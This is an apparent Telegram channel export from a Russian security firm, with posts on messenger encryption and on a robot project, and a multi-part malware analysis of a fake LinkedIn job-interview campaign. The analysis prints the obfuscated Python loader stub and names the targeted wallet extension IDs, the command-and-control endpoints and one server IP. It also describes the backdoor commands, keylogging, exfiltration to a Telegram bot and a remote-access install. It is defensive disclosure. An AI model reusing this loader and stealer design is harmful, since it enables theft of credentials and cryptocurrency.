Про Telegram и корпоративные коммуникации
Сегодня французы арестовали основателя Telegram Павла Дурова. Политику и прочие не профильные для нас подобные вещи отбросим, этим пусть другие занимаются. Наше дело - технологии.
Интересно, что сейчас из каждого утюга полетело, что, дескать, теперь мессенджер ненадёжен и надо корпоративные, служебные и прочие не для лишних ушей коммуникации в нём прекращать. На самом деле любой публичный облачный мессенджер изначально небезопасен. Групповые и обычные облачные чаты, понятно, хранятся где-то в облаке и могут быть расшифрованы (в случае с Signal групповые чаты реализованы специфически через end-to-end encryption, но они жутко тормозные). Но даже в случае end-to-end encryption есть нюанс с созданием общего ключа, ибо он зачастую генерируется алгоритмом Диффи-Хеллмана (или его производными), который, как известно, подвержен атаке "человек посередине" (MITM). Именно из-за этой самой возможного митма появилась, например, инфраструктура PKI, где сертификаты открытого ключа подписываются внешним доверенным арбитром - третьей стороной, которой все участники доверяют. Где эта сторона в случае с мессенджером? Мы снова должны доверять серверной инфраструктуре, находящейся непонятно где и доступ к которой имеет непонятно кто. Ну или, как вариант, обменяться неким секретом при встрече или по другому доверенному каналу (многие ли так делают?). Эпизодическая перегенерация ключей (по типу Double Ratchet, как у Signal) - это хорошо, но всегда вопрос в безопасном формировании того самого первого общего секрета. Так что даже с секретными чатами всё не так однозначно. Это если вести речь о переписке. Есть ещё данные о геолокации, например, доступные непонятно кому. Данные об интенсивности переписки. Данные о том, что коммуникация между людьми в принципе есть.
В сухом остатке облачный мессенджер в принципе не для конфиденциальных коммуникаций, включая корпоративные. Есть неплохие корпоративные on-premise решения (тот же express messenger). Ну или совсем на худой конец - сервер Rocket Chat развернуть (его строго желательно под VPN)
#криптография #мессенджер
Сегодня французы арестовали основателя Telegram Павла Дурова. Политику и прочие не профильные для нас подобные вещи отбросим, этим пусть другие занимаются. Наше дело - технологии.
Интересно, что сейчас из каждого утюга полетело, что, дескать, теперь мессенджер ненадёжен и надо корпоративные, служебные и прочие не для лишних ушей коммуникации в нём прекращать. На самом деле любой публичный облачный мессенджер изначально небезопасен. Групповые и обычные облачные чаты, понятно, хранятся где-то в облаке и могут быть расшифрованы (в случае с Signal групповые чаты реализованы специфически через end-to-end encryption, но они жутко тормозные). Но даже в случае end-to-end encryption есть нюанс с созданием общего ключа, ибо он зачастую генерируется алгоритмом Диффи-Хеллмана (или его производными), который, как известно, подвержен атаке "человек посередине" (MITM). Именно из-за этой самой возможного митма появилась, например, инфраструктура PKI, где сертификаты открытого ключа подписываются внешним доверенным арбитром - третьей стороной, которой все участники доверяют. Где эта сторона в случае с мессенджером? Мы снова должны доверять серверной инфраструктуре, находящейся непонятно где и доступ к которой имеет непонятно кто. Ну или, как вариант, обменяться неким секретом при встрече или по другому доверенному каналу (многие ли так делают?). Эпизодическая перегенерация ключей (по типу Double Ratchet, как у Signal) - это хорошо, но всегда вопрос в безопасном формировании того самого первого общего секрета. Так что даже с секретными чатами всё не так однозначно. Это если вести речь о переписке. Есть ещё данные о геолокации, например, доступные непонятно кому. Данные об интенсивности переписки. Данные о том, что коммуникация между людьми в принципе есть.
В сухом остатке облачный мессенджер в принципе не для конфиденциальных коммуникаций, включая корпоративные. Есть неплохие корпоративные on-premise решения (тот же express messenger). Ну или совсем на худой конец - сервер Rocket Chat развернуть (его строго желательно под VPN)
#криптография #мессенджер
👍7🤔1
Интересны измышления по типу "у каждого уважающего себя синдиката свой мессенджер со своим сервером, шахматами и поэтессами". Это прям как себе приклеить на лоб что-то заметное и интересное и расхаживать с покерфейсом, откинув назад чёлку. Стоит даже удалённо получить доступ к устройству любого участника такого синдиката, и, минимум, точка входа будет известна. Как минимум, стоит внимательно к ней присмотреться. А если ещё и приложение своё, да ещё и push-уведомления по моде сделаны, то совсем красота. При удачном стечении обстоятельств можно всех членов такого синдиката выявить разом. Жаль, что синдикаты так не делают :)
#мессенджер
#мессенджер
Про мультилинейные отображения и как они связаны с групповыми чатами
В современной криптографии есть открытая проблема: эффективные мультилинейные криптографические отображения (cryptographic multilinear maps). Определение есть в Википедии, оно там хорошее. На русском про мультилинейные отображения есть небольшая статья в Киберленинке. Билинейное криптографическое отображение (cryptographic bilinear map) отсылает нас к знаменитой схеме выработки общего секрета - протоколу Диффи-Хеллмана и производным от него. Он надёжен, но предполагает наличие двух равноправных абонентов, которые вырабатывают общий секретный сеансовый ключ, которым шифруются сообщения между абонентами. То самое сквозное шифрование (end-to-end encryption). Однако, когда появляется третий абонент и далее, мы сталкиваемся с тем, что эффективного и практичного алгоритма выработки общего секрета этими равноправными абонентами пока нет. Тут надо что-то "колхозить" и находить компромисс между удобством использования и безопасностью.
Например, можно каждому абоненту в группе по Диффи-Хеллману сгенерировать сеансовые ключи с каждым другим абонентом в группе, а своё сообщение в группе просто шифровать отдельно для каждого другого пользователя. Например, у нас чат на N абонентов. Тогда мы шифруем наше сообщение N-1 раз и отправляем его им (каждому из них) через сервер мессенджера. Так реализовано, например, в Signal, о чём можно почитать здесь. Хочется группу на 100 абонентов? Ну... Бывает. Каждое отправляемое сообщение будет шифроваться 99 раз, а на сервере будет лежать 99 копий. Но зато здесь будет работать Double Ratchet - когда каждое сообщение шифруется отдельным ключом, а сервер не будет вообще в принципе знать, что есть какая-то группа и, если кто-то в произвольный момент получил доступ к серверу, то он мало что получит в итоге.
Можно поступить проще - когда создатель группы генерирует секретный ключ для группы, отсылает его каждому участнику (или даёт информацию, чтобы участник сам его вычислил), используя сквозное шифрование, а дальше все уже спокойно общаются. Это быстрее и удобнее, но Double Ratchet здесь работать не будет, а у группы появляется роль Администратора. Тем не менее, доступа к расшифрованной переписке у сервера не будет, хотя ряд атак станут возможны. Например, получение ключа с одного из устройств при доступе к серверу позволит читать всю переписку, в том числе на этом устройстве не сохранённую.
А можно шифровать только между сервером и абонентами, когда сервер имеет доступ к исходному контенту. Это когда совсем нечего скрывать
#мессенджер #криптография
В современной криптографии есть открытая проблема: эффективные мультилинейные криптографические отображения (cryptographic multilinear maps). Определение есть в Википедии, оно там хорошее. На русском про мультилинейные отображения есть небольшая статья в Киберленинке. Билинейное криптографическое отображение (cryptographic bilinear map) отсылает нас к знаменитой схеме выработки общего секрета - протоколу Диффи-Хеллмана и производным от него. Он надёжен, но предполагает наличие двух равноправных абонентов, которые вырабатывают общий секретный сеансовый ключ, которым шифруются сообщения между абонентами. То самое сквозное шифрование (end-to-end encryption). Однако, когда появляется третий абонент и далее, мы сталкиваемся с тем, что эффективного и практичного алгоритма выработки общего секрета этими равноправными абонентами пока нет. Тут надо что-то "колхозить" и находить компромисс между удобством использования и безопасностью.
Например, можно каждому абоненту в группе по Диффи-Хеллману сгенерировать сеансовые ключи с каждым другим абонентом в группе, а своё сообщение в группе просто шифровать отдельно для каждого другого пользователя. Например, у нас чат на N абонентов. Тогда мы шифруем наше сообщение N-1 раз и отправляем его им (каждому из них) через сервер мессенджера. Так реализовано, например, в Signal, о чём можно почитать здесь. Хочется группу на 100 абонентов? Ну... Бывает. Каждое отправляемое сообщение будет шифроваться 99 раз, а на сервере будет лежать 99 копий. Но зато здесь будет работать Double Ratchet - когда каждое сообщение шифруется отдельным ключом, а сервер не будет вообще в принципе знать, что есть какая-то группа и, если кто-то в произвольный момент получил доступ к серверу, то он мало что получит в итоге.
Можно поступить проще - когда создатель группы генерирует секретный ключ для группы, отсылает его каждому участнику (или даёт информацию, чтобы участник сам его вычислил), используя сквозное шифрование, а дальше все уже спокойно общаются. Это быстрее и удобнее, но Double Ratchet здесь работать не будет, а у группы появляется роль Администратора. Тем не менее, доступа к расшифрованной переписке у сервера не будет, хотя ряд атак станут возможны. Например, получение ключа с одного из устройств при доступе к серверу позволит читать всю переписку, в том числе на этом устройстве не сохранённую.
А можно шифровать только между сервером и абонентами, когда сервер имеет доступ к исходному контенту. Это когда совсем нечего скрывать
#мессенджер #криптография
👍3
This media is not supported in your browser
VIEW IN TELEGRAM
Один из наших инициативных образовательных проектов. С лёгкой руки нашего главного специалиста по электронике назвали его "Ковальски". Ковальски будет стоять у нас в офисе и провожать взглядом проходящих мимо. Сейчас слегка подёргивается и подтормаживает, но это лечится. По сути, на видео первая отладочная версия. Из софта в этом маленьком часовом есть детектор движения, трекер, библиотека для управления приводами. Всё сделано у нас в Рекрипте. Плюс, разработанный и напечатанный на 3D-принтере корпус. 3D-принтер у нас тоже есть :)
Для чего нам это? Потестировать и обкатать имеющиеся и разрабатываемые у нас программные компоненты, повысить их качество. Протестировать и обкатать эти компоненты в связке. Крайне важно для нас, что в этом и подобных проектах под кураторством наших опытных сотрудников принимают активное участие наши самые молодые специалисты - студенты Бауманки. Учатся работать с мануалами, сопутствующей математике, писать и отлаживать код (в том числе и низкоуровневый), реверсить (да, это тоже надо), схемотехнике и вообще работать с современной электроникой (в том числе не жечь её часто 😜), да и многому другому. Всему тому, что составляет основу современной робототехники
#робототехника #ковальски #ии #видеоаналитика
Для чего нам это? Потестировать и обкатать имеющиеся и разрабатываемые у нас программные компоненты, повысить их качество. Протестировать и обкатать эти компоненты в связке. Крайне важно для нас, что в этом и подобных проектах под кураторством наших опытных сотрудников принимают активное участие наши самые молодые специалисты - студенты Бауманки. Учатся работать с мануалами, сопутствующей математике, писать и отлаживать код (в том числе и низкоуровневый), реверсить (да, это тоже надо), схемотехнике и вообще работать с современной электроникой (в том числе не жечь её часто 😜), да и многому другому. Всему тому, что составляет основу современной робототехники
#робототехника #ковальски #ии #видеоаналитика
👍9👀2
Отличное довольно детальное описание архитектуры оптимизирующего jit-компилятора Maglev, используемого в Chrome. На низком уровне, как мы все любим. С упором в безопасность и примером эксплуатации уязвимости CVE-2023-4069.
#почитать #реверсинг #компилятор
#почитать #реверсинг #компилятор
Matteomalvica
An Introduction to Chrome Exploitation - Maglev Edition
👍2
Хорошее и достаточно полное исследование формата антивирусных баз Windows Defender с упором на простые сигнатуры (последовательности байт, строки). Интересно, что таких сигнатур на хосте не так уж и много - несколько сотен тысяч. Это объясняется в том числе большими объёмами памяти, необходимыми для развёртывания структур быстрого поиска, которые практически во всех антивирусах сейчас древовидные. Миллионы простых сигнатур по типу описываемых в исследовании - это сложно для движков, базирующихся, например, на Ахо-Корасик и производных от него. Даже с костылями по типу списков на третьем-четвёртом уровне дерева поиска выходит всяко не очень. Кто хочет убедиться, может попробовать скормить миллион простых сигнатур опенсорсному ClamAV и поглядеть, что будет. С деревьями хэшей плюс-минус та же история. Это одна из причин появления более сложных комплексных сигнатур, выходящих по своей сложности за рамки возможностей регулярных языков. А это тоже код в антивирусных базах
#антивирус #почитать
#антивирус #почитать
👍5
Некоторые, видимо, так всё-таки делают. История с пейджерами как раз про это и наглядно демонстрирует, что в таких случаях может быть
Telegram
Рекриптор
Интересны измышления по типу "у каждого уважающего себя синдиката свой мессенджер со своим сервером, шахматами и поэтессами". Это прям как себе приклеить на лоб что-то заметное и интересное и расхаживать с покерфейсом, откинув назад чёлку. Стоит даже удалённо…
👍1
This media is not supported in your browser
VIEW IN TELEGRAM
Наш тренировочный проект "Часовой Ковальски", о котором мы писали ранее, стал поточнее и пошустрее. Двигаться стал плавнее. Алгоритмы и модели отлаживаются в связке. Трекер уверенно сопровождает нашего датасайентиста
#ии #ковальски #видеоаналитика #робототехника
#ии #ковальски #видеоаналитика #робототехника
👍11😍1
Хороший мануал по поиску уязвимостей в устройствах IoT. Несмотря на фаззинг в названии, про фаззинг там не так уж и много
#offensive #iot
#offensive #iot
👍2
Сегодня Дима Щелкунов вместе с генеральным директором Рекрипта очень мило пообщались с другим Димой Щелкуновым. В результате переписки противник понёс невосполнимые моральные потери.
Хорошо в числе прочего, что мы не используем Телеграм, как и любой другой публичный облачный мессенджер, для корпоративных коммуникаций
Хорошо в числе прочего, что мы не используем Телеграм, как и любой другой публичный облачный мессенджер, для корпоративных коммуникаций
😁9🗿1
Тема маскировки обмена с C2 с использованием легитимных известных и часто используемых сервисов не нова. Вот, к примеру, интересная и подробная статья про Cobalt Strike HTTPS Beaconing через серверы Microsoft. А конкретно - через Microsoft Graph API. Весь путь исследования: от идеи до конкретного эксплуатабельного результата.
Очередной привет адептам обнаружения обмена с С2 чисто по трафику
#offensive
Очередной привет адептам обнаружения обмена с С2 чисто по трафику
#offensive
👍2
Калужской Бауманке сегодня 65 лет! С чем и поздравляем!
❤🔥7🔥5
17 октября в Калуге пройдёт ИКТ-форум, партнёрами которого мы являемся. Расскажем про российский антивирус для Linux VR Protect, ответим на вопросы
👍5
Александр Леонов пишет, Solar купил Digital Security. Я с теплом вспоминаю и бесшабашную конфу ZeroNights, и ребят из Digital Security, с некоторыми из которых завязались практически дружеские отношения. Тогда это была очень сильная и амбициозная команда. Digital Security была одной из лучших российских школ в области offensive security, выпускники которой работают по всему миру. Надеюсь, всё у них будет хорошо
Telegram
Управление Уязвимостями и прочее
Solar купили Digital Security. Пишут, что для развития своего пентест-направления.
С теплотой вспоминаю пикировки ПТшников и Дсеков конца нелевых и начала десятых. 😇 И мощный старт ERPScan и Embedi. А ZeroNights! Какое значимое мероприятие было. Судя по…
С теплотой вспоминаю пикировки ПТшников и Дсеков конца нелевых и начала десятых. 😇 И мощный старт ERPScan и Embedi. А ZeroNights! Какое значимое мероприятие было. Судя по…
👍6
В сентябре вышла бумажная версия журнала Journal of Computer Virology and Hacking Techniques с моей статьёй про подход к созданию быстрых систем асимметричного шифрования с использованием white-box-криптографии: https://link.springer.com/article/10.1007/s11416-023-00511-z
Исходники шифра доступны здесь: https://github.com/dmschelkunov/wb_poc
В целом выпуск интересный и посвящён российским исследованиям: https://link.springer.com/journal/11416/volumes-and-issues/20-3
Никак не доходят руки переписать генератор случайных чисел на RC4OK (https://ia.cr/2023/1486)
и адаптировать исходники под Linux, но планы такие есть
#криптография #whitebox
Исходники шифра доступны здесь: https://github.com/dmschelkunov/wb_poc
В целом выпуск интересный и посвящён российским исследованиям: https://link.springer.com/journal/11416/volumes-and-issues/20-3
Никак не доходят руки переписать генератор случайных чисел на RC4OK (https://ia.cr/2023/1486)
и адаптировать исходники под Linux, но планы такие есть
#криптография #whitebox
SpringerLink
An approach for designing fast public key encryption systems using white-box cryptography techniques
Journal of Computer Virology and Hacking Techniques - I present an approach for designing fast public key encryption cryptosystems using random primitives, white-box cryptography techniques and...
👍7
Мошенники становятся изобретательнее.
В Linkedin общаются с соискателями на технические должности, в качестве тестовых заданий просят склонировать проект на Python из репозитория, запустить, сделать скриншоты. В общем, имитация технического собеседования. В одном из файлов содержится замаскированный имплант (по сути, dropper), при запуске которого происходит выкачка из сети других скриптов с разным интересным функционалом: поиск криптокошельков, кэшей браузеров и т.п. с последующей отправкой найденного на удалённый ресурс, reverse shell с интересной реализацией сетевого обмена, попытка поставить anydesk для удалённого администрирования и получения полного контроля над машиной жертвы. Всё написано на Python и ориентировано на Linux-пользователей.
Подробности опишем позже, там много интересного с технической точки зрения.
IP-адрес мошеннического ресурса: 147.124.197.138. Обратите внимание. И будьте внимательны и осторожны. Фишинг нацеливается и на профессиональных разработчиков тоже.
Большое спасибо основателю Emercoin Олегу Ховайко, который, проведя первичный анализ кода в репозитории, обнаружил имплант и поделился с нами этой информацией.
#offensive #фишинг #vrprotect
В Linkedin общаются с соискателями на технические должности, в качестве тестовых заданий просят склонировать проект на Python из репозитория, запустить, сделать скриншоты. В общем, имитация технического собеседования. В одном из файлов содержится замаскированный имплант (по сути, dropper), при запуске которого происходит выкачка из сети других скриптов с разным интересным функционалом: поиск криптокошельков, кэшей браузеров и т.п. с последующей отправкой найденного на удалённый ресурс, reverse shell с интересной реализацией сетевого обмена, попытка поставить anydesk для удалённого администрирования и получения полного контроля над машиной жертвы. Всё написано на Python и ориентировано на Linux-пользователей.
Подробности опишем позже, там много интересного с технической точки зрения.
IP-адрес мошеннического ресурса: 147.124.197.138. Обратите внимание. И будьте внимательны и осторожны. Фишинг нацеливается и на профессиональных разработчиков тоже.
Большое спасибо основателю Emercoin Олегу Ховайко, который, проведя первичный анализ кода в репозитории, обнаружил имплант и поделился с нами этой информацией.
#offensive #фишинг #vrprotect
👍10
Мне кажется, это очень хорошо. Кто надо российские продукты всё равно протестирует и уязвимости, которые впоследствии будут проэксплуатированы, найдёт. При этом те в России, кто мог бы их обнаружить раньше (а бывают совсем "детские" ошибки), российские продукты не глядят, опасаясь преследования. Надеюсь, ситуация выправится
SecurityLab.ru
«Белые хакеры» на пути к легализации: что изменится в российской кибербезопасности?
Госдума поддержала законопроект в первом чтении.
👍4
«Слово криптана» или как мошенники нацелились на блокчейн-инженеров. Часть 1. Имплант
Не так давно мы анонсировали исследование на эту тему. Как и обещали, делимся результатами. Публиковать статью где-либо долго, поэтому мы решили тезисно и по частям опубликовать результаты этого исследования здесь - в нашем канале. Отметим, что на момент публикации все репозитории и ссылки живые. Здесь приводим не всё, но схема понятна
Итак, вечером 21 октября с нами связался наш коллега — основатель блокчейн-платформы Emercoin Олег Ховайко. Олег обнаружил интересную фишинговую активность в социальной сети Linkedin и решил поделиться с нами этой информацией, а также результатами своих первоначальных исследований.
Сама фишинговая схема, хоть и является довольно свежей, не оригинальна и описана, например, здесь и здесь. В случае, обнаруженном Олегом, мошенники мимикрировали под работодателя, разыскивающего специалистов по блокчейн-технологиям. Мошенники в процессе «собеседования», которое проходит, конечно же, онлайн, предлагают скачать проект из репозитория, запустить код, сделать скриншоты. Вот один из таких репозиториев, на который любезно указал нам Олег. Будьте внимательны с этим репозиторием и не запускайте этот код у себя, если у вас нет достаточных знаний и опыта! Интерес представляет файл pypay/libra.py. В нём находится имплант следующего вида:
Имплант пытались «скрыть» за большим числом символов табуляции, чтобы уменьшить вероятность случайного обнаружения при беглом анализе кода. Дальнейшее исследование проводилось уже непосредственно нашей командой.
Сам имплант представляет собой, как видно на листинге выше, Base64-строку довольно большого размера, после которой следует код её декодирования с последующим нехитрым расшифрованием с помощью xor. В результате получается код следующего вида:
Эта лямбда-функция декодирует подаваемую на вход строку, предварительно проинвертировав её. После первой итерации декодирования получим такой результат:
И так много десятков раз :) В конечном итоге после многократного декодирования мы получим нагрузку — dropper, который получает управление, скачивает файл с адреса http://<XXX.XXX.XXX.XXX>:1245/m/NVRlYW05, сохраняет по пути {домашний каталог пользователя}/.vscode/m2 и запускает его.
Продолжение следует...
#offensive #malware #фишинг #blockchain
Не так давно мы анонсировали исследование на эту тему. Как и обещали, делимся результатами. Публиковать статью где-либо долго, поэтому мы решили тезисно и по частям опубликовать результаты этого исследования здесь - в нашем канале. Отметим, что на момент публикации все репозитории и ссылки живые. Здесь приводим не всё, но схема понятна
Итак, вечером 21 октября с нами связался наш коллега — основатель блокчейн-платформы Emercoin Олег Ховайко. Олег обнаружил интересную фишинговую активность в социальной сети Linkedin и решил поделиться с нами этой информацией, а также результатами своих первоначальных исследований.
Сама фишинговая схема, хоть и является довольно свежей, не оригинальна и описана, например, здесь и здесь. В случае, обнаруженном Олегом, мошенники мимикрировали под работодателя, разыскивающего специалистов по блокчейн-технологиям. Мошенники в процессе «собеседования», которое проходит, конечно же, онлайн, предлагают скачать проект из репозитория, запустить код, сделать скриншоты. Вот один из таких репозиториев, на который любезно указал нам Олег. Будьте внимательны с этим репозиторием и не запускайте этот код у себя, если у вас нет достаточных знаний и опыта! Интерес представляет файл pypay/libra.py. В нём находится имплант следующего вида:
zg="tGlmYksYLGExQeQcSNC4jDU0GNFNjbBgzBDQbHCs4GDNFfhEfMC5gRUM9DhA2ITceCCoYWwYTLgEd...
exec("from base64 import b64decode;d1=b64decode(zg[9:]);sk=zg[1:9];sl=len(d1);mq=''\
for l0 in range(sl):k=l0&7;w=chr(d1[l0]^ord(sk[k]));mq+=w\nexec(mq)")
Имплант пытались «скрыть» за большим числом символов табуляции, чтобы уменьшить вероятность случайного обнаружения при беглом анализе кода. Дальнейшее исследование проводилось уже непосредственно нашей командой.
Сам имплант представляет собой, как видно на листинге выше, Base64-строку довольно большого размера, после которой следует код её декодирования с последующим нехитрым расшифрованием с помощью xor. В результате получается код следующего вида:
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))
exec((_)(b'=UsIfc9D+//vPz/r3TQOhAC8tx55A6ktxAvPff96J/J9+PyH1kQX5VQfR/lyANmVNWHseBJQ6...Эта лямбда-функция декодирует подаваемую на вход строку, предварительно проинвертировав её. После первой итерации декодирования получим такой результат:
exec((_)(b’{новая строка base64…}))И так много десятков раз :) В конечном итоге после многократного декодирования мы получим нагрузку — dropper, который получает управление, скачивает файл с адреса http://<XXX.XXX.XXX.XXX>:1245/m/NVRlYW05, сохраняет по пути {домашний каталог пользователя}/.vscode/m2 и запускает его.
Продолжение следует...
#offensive #malware #фишинг #blockchain
🔥12
«Слово криптана» или как мошенники нацелились на блокчейн-инженеров. Часть 2. Доступ к криптокошелькам
В предыдущем посте мы стартовали серию микростатей на тему фишинга среди блокчейн-инженеров. Продолжим погружение. Ранее мы писали, что вредоносный имплант скачивает файл с адреса http://<XXX.XXX.XXX.XXX>:1245/m/NVRlYW05, сохраняет по пути {домашний каталог пользователя}/.vscode/m2 и запускает его.
m2
В файле m2 используется кодирование, аналогичное описанному ранее. Вообще во всех исследованных нами скриптах обфускация выглядит одинаково. m2 – это stealer, который делает следующее:
• по адресу http://<XXX.XXX.XXX.XXX>:1245/keys отправляет пакет со следующим содержимым: {текущее время, тип нагрузки (в нашем случае значение 'NVRlYW05'), имя компьютера, 'ojq', '4C2' + текущая рабочая директория};
• подключается к http://<XXX.XXX.XXX.XXX>:1245/client/NVRlYW05, скачивает файл в {домашний каталог пользователя}/.vscode/client и запускает его;
• ходит по папкам браузеров Chrome, Opera, Brave и ищет папки расширений криптокошельков, все найденные файлы из этих папок отправляет на сервер http://<XXX.XXX.XXX.XXX>:1245/bin;
• если на компьютере установлена Windows, отправляются файлы расширений криптокошельков браузера Microsoft Edge;
• если установлена MacOS, отправляются файлы из папки /Library/Keychains/login.keychain, сохраненные пароли браузеров Brave, Chrome;
• если установлена Linux, то оправляются файлы из папки /.local/share/keyrings/, а также сохраненные пароли браузеров Chrome, Firefox
Папки расширений криптокошельков приведены на листинге ниже:
client
client – это dropper (практически аналогичный libra.py), который скачивает два файла. Первый файл загружается с http://<XXX.XXX.XXX.XXX>:1244/payload/NVRlYW05 и сохраняется в рабочей директории как .vscode/pay. Второй - c http://<XXX.XXX.XXX.XXX>:1244/bow/NVRlYW05 и сохраняется как .vscode/bow (при условии, что компьютер управляется ОС Linux или Windows).
pay
Файл pay скачивается закодированным по тому же принципу, что и файлы выше. При запуске он:
• собирает информацию о компьютере: uuid, система, релиз системы, версия системы, название компьютера, уникальный идентификатор;
• с помощью сервиса http://ip-api.com/json получает информацию о сетевом подключении: страна, город, широта, долгота, ip, внутренний ip, временная зона и т.д;.
• всю эту информацию отправляет по адресу http://<XXX.XXX.XXX.XXX>:1244/keys;
• инициирует подключение через raw sockets к XXX.XXX.XXX.XXX по 1245 порту и ждет от сервера команд вида {‘code’: value, ‘args’: value}.
code может иметь значения от 1 до 9:
Каждое такое значение обозначает функцию, которую необходимо вызвать с аргументом args
Т.е. pay является полноценным бэкдором с достаточно широким функционалом, описание которого представим в самом скором времени.
Продолжение следует...
#offensive #malware #фишинг #blockchain
В предыдущем посте мы стартовали серию микростатей на тему фишинга среди блокчейн-инженеров. Продолжим погружение. Ранее мы писали, что вредоносный имплант скачивает файл с адреса http://<XXX.XXX.XXX.XXX>:1245/m/NVRlYW05, сохраняет по пути {домашний каталог пользователя}/.vscode/m2 и запускает его.
m2
В файле m2 используется кодирование, аналогичное описанному ранее. Вообще во всех исследованных нами скриптах обфускация выглядит одинаково. m2 – это stealer, который делает следующее:
• по адресу http://<XXX.XXX.XXX.XXX>:1245/keys отправляет пакет со следующим содержимым: {текущее время, тип нагрузки (в нашем случае значение 'NVRlYW05'), имя компьютера, 'ojq', '4C2' + текущая рабочая директория};
• подключается к http://<XXX.XXX.XXX.XXX>:1245/client/NVRlYW05, скачивает файл в {домашний каталог пользователя}/.vscode/client и запускает его;
• ходит по папкам браузеров Chrome, Opera, Brave и ищет папки расширений криптокошельков, все найденные файлы из этих папок отправляет на сервер http://<XXX.XXX.XXX.XXX>:1245/bin;
• если на компьютере установлена Windows, отправляются файлы расширений криптокошельков браузера Microsoft Edge;
• если установлена MacOS, отправляются файлы из папки /Library/Keychains/login.keychain, сохраненные пароли браузеров Brave, Chrome;
• если установлена Linux, то оправляются файлы из папки /.local/share/keyrings/, а также сохраненные пароли браузеров Chrome, Firefox
Папки расширений криптокошельков приведены на листинге ниже:
Locals = [
'nkbihfbeogaeaoehlefnkodbefgpgknn', # metamask2
'ibnejdfjmmkpcnlpebklmnkoeoihofec', # Tron
'ejbalbakoplchlghecdalmeeeajnimhm', # Metamask2
'fhbohimaelbohpjbbldcngcnapndodjp', # BNB Chain Wallet
'bfnaelmomeimhlpmgjnjophhpkkoljpa', # Phantom
'hnfanknocfeofbddgcijnmhnfnkdnaad', # Coinbase Wallet extension
'fnjhmkhhmkbjkkabndcnnogagogbneec', # Ronin Wallet
'aeachknmefphepccionboohckonoeemg', # Coin98 Wallet
'hifafgmccdpekplomjjkcfgodnhcellj' # Crypto.com | Wallet Extension
]
client
client – это dropper (практически аналогичный libra.py), который скачивает два файла. Первый файл загружается с http://<XXX.XXX.XXX.XXX>:1244/payload/NVRlYW05 и сохраняется в рабочей директории как .vscode/pay. Второй - c http://<XXX.XXX.XXX.XXX>:1244/bow/NVRlYW05 и сохраняется как .vscode/bow (при условии, что компьютер управляется ОС Linux или Windows).
pay
Файл pay скачивается закодированным по тому же принципу, что и файлы выше. При запуске он:
• собирает информацию о компьютере: uuid, система, релиз системы, версия системы, название компьютера, уникальный идентификатор;
• с помощью сервиса http://ip-api.com/json получает информацию о сетевом подключении: страна, город, широта, долгота, ip, внутренний ip, временная зона и т.д;.
• всю эту информацию отправляет по адресу http://<XXX.XXX.XXX.XXX>:1244/keys;
• инициирует подключение через raw sockets к XXX.XXX.XXX.XXX по 1245 порту и ждет от сервера команд вида {‘code’: value, ‘args’: value}.
code может иметь значения от 1 до 9:
A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env,9:A.ssh_zcp}Каждое такое значение обозначает функцию, которую необходимо вызвать с аргументом args
Т.е. pay является полноценным бэкдором с достаточно широким функционалом, описание которого представим в самом скором времени.
Продолжение следует...
#offensive #malware #фишинг #blockchain
🔥10
«Слово криптана» или как мошенники нацелились на блокчейн-инженеров. Часть 3. Бэкдор, RAT и при чём тут Telegram
Как мы говорили выше, описание атаки продолжим довольно скоро. Продолжаем. В этой части разберём возможности устанавливаемого в систему бэкдора pay, список команд которого приведён в предыдущем посте, а также дальнейшую вредоносную активность.
Ниже приведено детально описание команд бэкдора pay:
ssh_obj – исполняет команды, полученные от сервера (по сути, выполняет полученную строку через subprocess.Popen(…) с аргументом shell = True). Таким образом можно выполнить практически любое действие в системе жертвы. Крайне полезно для закрепления, повышения привилегий и дальнейшего продвижения.
ssh_cmd – если args == delete, то удаляет данный файл после закрытия соединения (других аргументов в коде скрипта обнаружено не было).
ssh_clip – отправляет на сервер содержимое глобальной переменной e_buf (о ней расскажем чуть позже).
ssh_run – скачивает c http://<XXX.XXX.XXX.XXX>:1244/brow/NVRlYW05 в ~/.n2/bow и запускает его.
ssh_upload – в зависимости от переданного аргумента может загружать папки, файлы, искать определенные файлы и папки и загружать их.
ssh_kill – завершает процессы браузеров Brave и Chrome.
ssh_any – скачивает нагрузку с http://<XXX.XXX.XXX.XXX>:1244/adc/NVRlYW05 в ~/.n2/adc и запускает её.
ssh_env – в аргументе приходят данные для подключения к FTP-серверу. Если компьютер работает под управлением Windows, происходит отправка файлов из папок ~/Documents и ~/Downloads. В противном случае отправляются файлы из папок ~/home ~/Volumes.
ssh_zcp – создает временную папку, в которую копирует файлы из расширений браузеров, которые являются криптокошельками. Список весьма внушительный, публиковать его здесь мы не будем. Просто поверьте, что там много. Значительно больше, чем в листинге из предыдущего поста. В эту же папку копируются файлы клиентских криптокошельков:
После этого временная папка сжимается и отправляется Telegram-боту, токен от которого был получен в аргументе к команде (работа через Telegram набирает популярность). Если отправка боту завершилась с ошибкой, происходит загрузка на FTP сервер.
Если система работает под управлением Windows, будет запущен keylogger, результаты которого будут записываться в глобальную переменную e_buf, содержимое которой, в свою очередь, будет отправлено на сервер при вызове функции ssh_clip, о которой шла речь выше.
По сути, бэкдор позволяет на время своей работы получить контроль над системой с теми же возможностями, что и текущий пользователь.
Но это ещё не всё. Ведь у нас осталось ещё два скрипта: bow и adc
bow
Скрипт bow пытается дешифровать логин и пароль из популярных браузеров (Chrome, Opera, Brave, Yandex, Microsoft Edge) и отправить их на http://<XXX.XXX.XXX.XXX>:1244/keys
adc
Если компьютер находится под управлением Windows, скрипт пытается обратиться к http://<XXX.XXX.XXX.XXX>:1244/any , скачать Anydesk.exe (утилита для удалённого администрирования системы) и установить его. После этого в конфигурационный файл прописываются свои данные. Если же компьютер находится под управлением Linux, скрипт пытается найти уже установленный Anydesk и дописывает в файл конфигурации свои данные. Таким образом на системе жертвы устанавливается полноценный RAT (Remote Access Trojan) с широчайшими возможностями для любых дальнейших действий.
Выводы... А выводы будут чуть позже
#offensive #malware #фишинг #blockchain
Как мы говорили выше, описание атаки продолжим довольно скоро. Продолжаем. В этой части разберём возможности устанавливаемого в систему бэкдора pay, список команд которого приведён в предыдущем посте, а также дальнейшую вредоносную активность.
Ниже приведено детально описание команд бэкдора pay:
ssh_obj – исполняет команды, полученные от сервера (по сути, выполняет полученную строку через subprocess.Popen(…) с аргументом shell = True). Таким образом можно выполнить практически любое действие в системе жертвы. Крайне полезно для закрепления, повышения привилегий и дальнейшего продвижения.
